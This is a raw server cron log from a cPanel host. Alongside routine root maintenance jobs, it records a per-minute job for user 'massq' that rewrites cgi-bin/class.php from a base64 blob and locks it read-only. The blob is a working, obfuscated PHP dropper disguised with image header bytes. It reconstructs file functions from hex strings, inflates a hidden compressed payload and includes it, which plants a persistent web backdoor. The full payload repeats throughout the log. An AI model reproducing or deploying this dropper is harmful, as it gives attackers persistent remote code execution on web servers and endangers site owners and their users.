Sep  8 14:40:01 server CROND[21691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:40:01 server CROND[21690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:40:01 server CROND[21693]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:40:01 server CROND[21694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:40:01 server CROND[21692]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:41:01 server CROND[22537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:41:01 server CROND[22538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:41:01 server CROND[22536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:42:01 server CROND[23086]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:42:01 server CROND[23085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:42:01 server CROND[23084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:42:01 server CROND[23087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:43:01 server CROND[23465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:43:01 server CROND[23466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:43:01 server CROND[23467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:44:01 server CROND[23950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:44:01 server CROND[23949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:44:01 server CROND[23951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:45:01 server CROND[24351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:45:01 server CROND[24353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:45:01 server CROND[24357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:45:01 server CROND[24354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:45:01 server CROND[24355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:45:01 server CROND[24358]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:45:01 server CROND[24356]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:46:01 server CROND[25198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:46:01 server CROND[25199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:46:01 server CROND[25200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:47:01 server CROND[25579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:47:01 server CROND[25580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:47:01 server CROND[25578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:48:02 server CROND[25976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:48:02 server CROND[25977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:48:02 server CROND[25978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:49:01 server CROND[26450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:49:01 server CROND[26451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:49:01 server CROND[26449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:50:01 server CROND[26842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:50:01 server CROND[26848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:50:01 server CROND[26857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:50:01 server CROND[26855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:50:01 server CROND[26860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:50:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:50:01 server CROND[26861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:50:01 server CROND[26859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:50:01 server CROND[26858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:51:01 server CROND[27696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:51:01 server CROND[27697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:51:01 server CROND[27698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:52:01 server CROND[28128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
